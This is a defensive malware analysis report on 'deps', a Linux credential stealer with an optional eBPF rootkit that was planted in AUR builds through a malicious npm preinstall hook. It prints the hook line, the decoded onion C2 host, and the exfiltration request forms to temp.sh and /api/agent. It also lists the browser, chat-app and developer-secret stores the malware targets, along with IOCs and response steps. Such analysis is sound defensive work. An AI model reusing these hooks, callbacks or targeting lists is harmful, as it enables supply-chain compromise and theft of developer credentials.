Preliminary analysis of AUR malware

11 min read Original article ↗

Malware Analysis Report: deps

Report date: 2026-06-11
VT Link
Triage Link

Note: The following report was very hastily written by Codex.
(I have fact-checked it against the IDA decompilation though 🐉)

Scope and Handling

This report summarizes static reverse engineering of the Linux ELF malware sample named deps and static review of the recovered npm package source associated with the incident. The sample and package were treated as malicious throughout handling.

No dynamic execution of the ELF, npm package, lifecycle scripts, or package code was performed.

The binary is stripped and implemented with Rust-style async state machines. Function names in this report are analyst-assigned names based on decompiled behavior.

Incident Background

This sample was recovered from a supply-chain compromise involving an Arch User Repository (AUR) package build flow. In the reported intrusion path, the attacker modified AUR build steps so that the build process downloaded and installed a malicious npm package. That package masqueraded as atomic-lockfile version 1.4.2 and included the Linux ELF payload at src/hooks/deps.

Editors Note: It turns out Many More AUR packages were attacked today in the same way. It is very likely the same threat actor is responsible w/ the same deployed malware.

The malicious npm package used a preinstall lifecycle hook to execute the ELF automatically during npm installation. This means a developer workstation, maintainer machine, or CI/build host could execute the malware as a side effect of building or installing the compromised AUR package.

Executive Summary

deps is a Linux credential stealer with optional root-only eBPF rootkit capabilities. It is designed for developer workstations and build environments. It targets browser and Electron application data, Slack, Microsoft Teams, Discord, GitHub, npm, Vault, Docker/Podman, SSH, VPN material, shell histories, and other local developer secrets.

The recovered supply-chain package identifies itself as atomic-lockfile version 1.4.2. It contains a malicious npm lifecycle entry:

"preinstall": "./src/hooks/deps"

That lifecycle script executes the ELF directly during npm installation when lifecycle scripts are enabled. The ELF in the package source is byte-identical to the analyzed sample.

The attacker-controlled C2 endpoint was recovered from the ELF. It is not supplied by the npm package, command-line arguments, or a JavaScript wrapper. The binary decodes this onion service at runtime:

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

The command/result callback is POST /api/agent, sent through a local loopback/SOCKS-style transport. The local 127.0.0.1 traffic is an intermediate transport layer, not the attacker endpoint. When eBPF is available, the malware can hide local process and socket artifacts used by that transport.

File content is uploaded to temp.sh with POST /upload. The temp.sh upload destination is a storage/upload service, not the actor C2 by itself. The recovered onion /api/agent channel is the best static explanation for how upload IDs, status, tasking, and other result metadata are returned to the operator.

Field Value
File name deps
File size 3,040,376 bytes
File type Linux ELF64, x86-64, PIE, dynamically linked
ELF type ET_DYN
Entry point 0xeae00
SHA-256 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
MD5 42B59FDBE1B72895B2951412222EBF40

The same SHA-256 applies to both analyzed files:

deps
atomic-lockfile/package/src/hooks/deps

Supply-Chain Delivery

The recovered package source appears to be a mostly legitimate TypeScript npm package with a malicious ELF inserted into the source tree and wired into npm lifecycle execution.

Package identity:

Field Value
Package name atomic-lockfile
Package version 1.4.2
Main entry ./dist/cjs/index.cjs
ESM entry ./dist/esm/index.js
CLI bin atomic-lockfile -> ./dist/esm/cli/index.js
Malicious lifecycle script preinstall: ./src/hooks/deps
Payload path src/hooks/deps

Expected launch flow:

AUR/build process fetches or installs npm package
  -> npm reads package.json
    -> npm lifecycle reaches preinstall
      -> executes ./src/hooks/deps
        -> Linux ELF malware starts

Static review of the package source outside the ELF found no JavaScript wrapper, no additional C2 configuration, no command-line arguments passed to the ELF, and no package-layer references to temp.sh, /api/agent, Discord webhooks, or a public C2 domain/IP.

Conclusion: the malicious npm package provides the execution vector. The C2 endpoint is encoded inside the ELF itself.

High-Level Capabilities

  • Installs persistence using root or per-user systemd service units.
  • Enforces a single active instance using flock().
  • Redirects standard input/output/error to /dev/null.
  • Ignores SIGPIPE.
  • Reads /proc/self/exe to locate and copy/install its current executable.
  • Uses Rust async runtime logic to run collectors and transport tasks.
  • Enumerates Chromium-family browser profiles and Electron app data.
  • Reads SQLite cookie databases and LevelDB local storage.
  • Extracts Chromium/Electron cookies and service tokens.
  • Queries Slack, Microsoft Teams, Discord, GitHub, npm, and OpenAI/ChatGPT APIs with stolen tokens or cookies.
  • Searches local filesystem locations for SSH keys, shell history, Vault tokens, Docker/Podman credentials, VPN material, and developer secrets.
  • Uploads file content to temp.sh.
  • Calls back to the recovered onion C2 over POST /api/agent.
  • Uses a local loopback/SOCKS-style transport before reaching proxied destinations.
  • Includes a downloader/stager path tied to /usr/bin/monero-wallet-gui.
  • If sufficiently privileged, loads an embedded eBPF rootkit to hide processes, process names, and socket inodes.

Execution and Persistence

The exported main wrapper initializes runtime behavior, redirects standard descriptors, ignores SIGPIPE, and enters the Rust async application. The primary orchestrator is an async state machine that starts persistence, collectors, rootkit setup, local transport, exfiltration, and staging tasks.

Persistence routine behavior:

Mode Behavior
Root Copies/installs itself under a generated path below /var/lib/, creates a system service under /etc/systemd/system/, and configures restart behavior.
Non-root Uses the current user's home directory and per-user systemd units under ~/.config/systemd/user/.

Both service templates use persistent restart behavior:

Restart=always
RestartSec=30

The generated executable and service names are not stored as a single obvious plaintext full path.

Main Logic Walkthrough

The malware's main orchestrator builds shared runtime state, starts persistence, allocates async task frames, stores vtable/function pointers in those frames, and enqueues them into the Rust runtime. Collector results are serialized into shared output objects that are later consumed by upload and C2 transport tasks.

Result flow:

collector module
  -> per-service serialized result
  -> shared output/state object
  -> temp.sh upload and/or /api/agent command/result record
  -> local loopback/SOCKS transport
  -> decoded onion C2 host

Important analyst-assigned functions:

Address Name Purpose
0x125238 main orchestrator Central async state machine. Starts persistence, collectors, rootkit setup, network/control routines, and cleanup.
0x142843 install/persistence routine Reads /proc/self/exe, chooses root or user install path, writes systemd service configuration, and uses flock().
0x10c778 poll_onion_c2_transport_setup_task Async wrapper that reaches the C2 transport setup path.
0x11e102 prepare_onion_c2_transport_and_hide_sockets Decodes the onion C2 host, prepares local transport state, hides sockets if eBPF is active, and schedules the C2 poller.
0x10d3d9 poll_api_agent_c2_via_onion_loopback_transport Sends POST /api/agent to the decoded onion host through the local loopback/SOCKS transport.
0x110179 local network/control routine Creates local sockets, binds/listens/accepts, and participates in local loopback transport.
0xf9f06 query_openai_account_metadata_via_local_socks Uses stolen bearer material to query api.openai.com account metadata through local transport.
0x1020ae / 0x1600e0 binary staging/transport routine Fetches/stages an HTTP response body through the local SOCKS transport and references /usr/bin/monero-wallet-gui.

Command and Control

Recovered C2

The actor C2 host is:

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

The host is not present as plaintext. Static analysis recovered it from a repeating-XOR decode path:

0x1AA60  32-byte repeating XOR key
0x2DA96  62-byte obfuscated onion-host ciphertext
0x1209f2 decode loop: ciphertext[i] ^ key[i % 32]
0x120a15 decoded host buffer stored

The runtime call chain is:

async vtable at 0x2db0b0
  -> poll_onion_c2_transport_setup_task() at 0x10c778
    -> prepare_onion_c2_transport_and_hide_sockets() at 0x10c7ea / 0x11e102
      -> schedules /api/agent poller through vtable/function pointer at 0x2db1f0
        -> poll_api_agent_c2_via_onion_loopback_transport() at 0x10d3d9

The poller formats an HTTP request equivalent to:

POST /api/agent HTTP/1.0
Host: olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
Content-Length: <runtime length>

<serialized body>

It expects an HTTP 200-style response, locates the header/body separator, and parses the response body. This is likely used for command tasking, result acknowledgements, and relaying metadata such as temp.sh upload IDs.

Transport Layer

The /api/agent path first connects to 127.0.0.1 on a runtime-selected local port. That local service then performs outbound SOCKS-style transport to the decoded onion host. Two external destination ports are visible in the C2 poller:

TCP/80
TCP/8080

The binary contains SOCKS-related strings, including:

socks greeting write
socks greeting read
socks CONNECT write
socks CONNECT resp
socks CONNECT failed: rep=
socks5 auth rejected

Upload and Exfiltration

The malware uses separate upload and command/result channels:

Channel Role
temp.sh POST /upload Uploads file content or collected result blobs.
Onion C2 POST /api/agent Command/result channel and likely relay for upload IDs or task status.
Third-party service APIs Used for credential validation/enrichment, not necessarily attacker-controlled C2.

The temp.sh upload path constructs HTTP-style multipart upload requests:

POST /upload HTTP/1.1
Host: temp.sh
Connection: close

The binary checks for successful HTTP responses and returns server responses into malware state.

Credential and Data Collection

The malware targets developer and collaboration data. Confirmed or strongly supported target software, services, and data stores are listed below.

Browsers and Chromium Profile Stores

  • Google Chrome
  • Chrome Beta
  • Chrome Dev
  • Microsoft Edge
  • Edge Beta
  • Edge Dev
  • Brave
  • Brave Beta
  • Brave Nightly
  • Vivaldi
  • Opera
  • Opera Beta
  • Opera Developer
  • Yandex Browser
  • Epic Privacy Browser
  • Iridium
  • Ungoogled Chromium
  • Thorium
  • Comodo Dragon
  • SRWare Iron
  • Cent Browser
  • Slimjet
  • Maxthon
  • UC Browser
  • CocCoc
  • Naver Whale
  • Chromium Flatpak
  • Google Chrome Flatpak
  • Microsoft Edge Flatpak
  • Brave Flatpak
  • Vivaldi Flatpak
  • Opera Flatpak
  • Yandex Browser Flatpak

Profile artifacts targeted include:

  • Local Storage/leveldb
  • Network/Cookies
  • Cookies
  • Default/Cookies
  • Chromium encrypted cookie values

Collaboration and Electron Applications

  • Slack
  • Slack Flatpak
  • Slack Snap
  • Microsoft Teams
  • Microsoft Teams legacy stores
  • Microsoft Teams Flatpak/browser-derived stores
  • Discord
  • Discord PTB
  • Discord Canary
  • Discord Flatpak variants
  • Discord Snap variants
  • Vesktop
  • Legcord
  • WebCord
  • ArmCord
  • Vencord
  • NativeCord
  • Abaddon
  • Dissent
  • Ripcord
  • Datcord

Confirmed Slack paths and data include:

  • .config/Slack
  • .var/app/com.slack.Slack/config/Slack
  • snap/slack/current/.config/Slack
  • Slack d cookies for *.slack.com
  • Slack API enrichment through /api/auth.test, /api/users.info, and /api/conversations.list

Confirmed Microsoft Teams and Microsoft service artifacts include:

  • .config/Microsoft/Microsoft Teams
  • authsvc.teams.microsoft.com
  • teams.microsoft.com
  • skypeToken
  • regionGtm
  • cache.token
  • Authorization: Bearer
  • X-Skypetoken
  • Teams account, tenant, and team metadata

Confirmed Discord artifacts include:

  • Discord tokens from Electron/browser storage
  • /api/v9/users/@me
  • /api/v9/users/@me/guilds?with_counts=true
  • user ID, phone, MFA state, premium/Nitro type, flags, guild ownership, permissions, and member-count metadata

Developer Accounts and Package Ecosystems

  • GitHub
  • npm
  • OpenAI/ChatGPT account metadata

Confirmed GitHub strings and endpoints include:

  • api.github.com
  • GET /user HTTP/1.1
  • GET /user/repos?sort=stars&direction=desc&per_page=3&type=owner
  • Authorization: Bearer
  • User-Agent: git/2.39.0
  • Bad credentials
  • account and repository metadata such as login, company, public repository count, followers, and repository stars

Confirmed npm strings and endpoints include:

  • registry.npmjs.org
  • GET /-/whoami
  • GET /-/v1/search?text=maintainer%3A...&size=3
  • package publishing identity and maintainer package metadata

The OpenAI/ChatGPT path queries api.openai.com with stolen bearer material for account metadata. This is credential validation/enrichment against a third-party service, not evidence that OpenAI is attacker-controlled infrastructure.

Local Developer Secrets

  • Vault token files
  • Docker command history and registry credential material
  • Podman command history and registry credential material
  • SSH keys and SSH configuration
  • PuTTY private-key material
  • VPN profiles and .ovpn files
  • shell histories for bash, zsh, and fish
  • command history containing sftp, ssh-keygen, ssh-copy-id, ssh-add, rsync, putty, plink, docker, docker-compose, and podman commands

Confirmed local strings include:

  • HOME
  • .ssh
  • /home
  • .bash_history
  • .zsh_history
  • .local/share/fish/fish_history
  • /.vault-token
  • /.vault/token
  • X-Vault-Token
  • .ovpn
  • passphrase
  • PRIVATE KEY
  • -----BEGIN
  • PuTTY-User-Key-File-
  • known_hosts
  • known_hosts.old

The local secrets harvester filters out common noisy directories and files such as node_modules, target, __pycache__, .ds_store, thumbs.db, desktop.ini, and .lock.

eBPF Rootkit

The binary contains an embedded eBPF object and loads it directly from memory when privileges allow.

Privilege gate:

  • Checks geteuid() == 0.
  • Reads /proc/self/status.
  • Parses CapEff:.
  • Checks for effective CAP_BPF and/or CAP_SYS_ADMIN.

The eBPF rootkit is not used for privilege escalation. It is activated only when the process already has sufficient privilege.

Pinned map paths:

/sys/fs/bpf/hidden_pids
/sys/fs/bpf/hidden_names
/sys/fs/bpf/hidden_inodes

Rootkit behavior:

  • Hides selected PIDs from /proc listings.
  • Hides selected names from directory listings.
  • Hides selected socket inodes from /proc/net/tcp.
  • Hides selected sockets from socket diagnostic netlink results.
  • Kills attempted ptrace attachments against hidden processes.
  • Inserts its own PID and related parent/process metadata into hidden maps.
  • Hides local listener/socket inodes used by the loopback transport.

This means live response tools may miss the process or its sockets on compromised hosts where the eBPF component is active.

Staging and Monero Wallet GUI Path

The malware also appears to be able to fetch another binary from the following path:

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/linux
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/sha256/linux <-- just returns the expected file hash of the above file

This part has not been analysed by me at the moment. It appears to be a cryptominer though.
VT Link

Indicators of Compromise

File Hashes

SHA256  6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
MD5     42B59FDBE1B72895B2951412222EBF40

Malicious Package Indicators

Package name: atomic-lockfile
Package version: 1.4.2
Lifecycle script: "preinstall": "./src/hooks/deps"
Payload path: src/hooks/deps
Payload size: 3,040,376 bytes
Payload SHA256: 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B

Network Indicators

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
POST /api/agent HTTP/1.0
temp.sh
POST /upload HTTP/1.1
127.0.0.1 local SOCKS-style transport
api.openai.com
discord.com
teams.microsoft.com
authsvc.teams.microsoft.com
api.github.com
registry.npmjs.org
slack.com

api.openai.com, Discord, Teams, GitHub, npm, and Slack endpoints are legitimate third-party service endpoints used for credential validation or data collection. They should not be treated as attacker-owned C2.

Persistence and Rootkit Indicators

/proc/self/exe
/var/lib/<generated_name>
/etc/systemd/system/<generated_name>.service
~/.config/systemd/user/<generated_name>.service
/sys/fs/bpf/hidden_pids
/sys/fs/bpf/hidden_names
/sys/fs/bpf/hidden_inodes
Restart=always
RestartSec=30

Staging and Suspicious Strings

/usr/bin/monero-wallet-gui
/bin/sha256/
server returned empty binary
headers too large
/tor-expert-bundle-
.tar.gz
/etc/machine-id
cmd:
CapEff:

Detection and Response Guidance

Recommended response actions:

  1. Treat any host where the ELF executed as credential-compromised.
  2. Preserve evidence with trusted offline acquisition where possible, especially if root/eBPF execution is suspected.
  3. Inspect system and user systemd units for unknown services with Restart=always, RestartSec=30, and executable paths under /var/lib or user configuration directories.
  4. Inspect /sys/fs/bpf/ for unexpected pinned maps, especially hidden_pids, hidden_names, and hidden_inodes.
  5. Compare multiple process and socket views. Do not rely solely on /proc, /proc/net/tcp, or socket diagnostic netlink output if the eBPF rootkit may be active.
  6. Review outbound connections, proxy logs, and Tor/SOCKS logs for access to olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion.
  7. Review HTTP/proxy logs for temp.sh and POST /upload.
  8. Review local loopback listeners and client sockets. The malware uses 127.0.0.1 as a local redirection/proxy/control layer.
  9. Check /usr/bin/monero-wallet-gui and nearby filesystem metadata for unexpected replacement, creation time changes, or non-package-manager ownership.
  10. Review AUR build logs, package caches, npm caches, and CI logs for [email protected], src/hooks/deps, or npm lifecycle execution of preinstall.
  11. Inspect suspect npm packages statically and use --ignore-scripts or equivalent sandbox controls when package installation is unavoidable.
  12. Search cached packages and source trees for unexpected ELF files under source folders, especially src/hooks/deps.

Credential rotation should include:

  • Slack sessions and tokens.
  • Microsoft Teams/Microsoft 365 sessions.
  • Discord tokens.
  • GitHub personal access tokens and SSH keys.
  • npm tokens.
  • Vault tokens.
  • Docker/Podman registry credentials.
  • SSH private keys and passphrases.
  • Browser/Electron application sessions.
  • Any credentials or secrets present in shell histories or developer command history.

Assessment

deps is a high-severity Linux credential stealer delivered through a malicious npm preinstall hook in a compromised supply-chain package. Its targeting is focused on developer and CI/build environments. The binary contains an encoded onion C2 endpoint and uses local loopback/SOCKS transport to reach it. It separately uploads file content to temp.sh, likely relaying resulting upload metadata through the onion /api/agent channel.

The optional eBPF component materially increases response difficulty on privileged executions because it can hide PIDs, process names, and socket inodes from common live-response views. Hosts where this malware executed should be contained, acquired with trusted tooling, cleaned of persistence and pinned BPF artifacts, and subjected to broad credential rotation.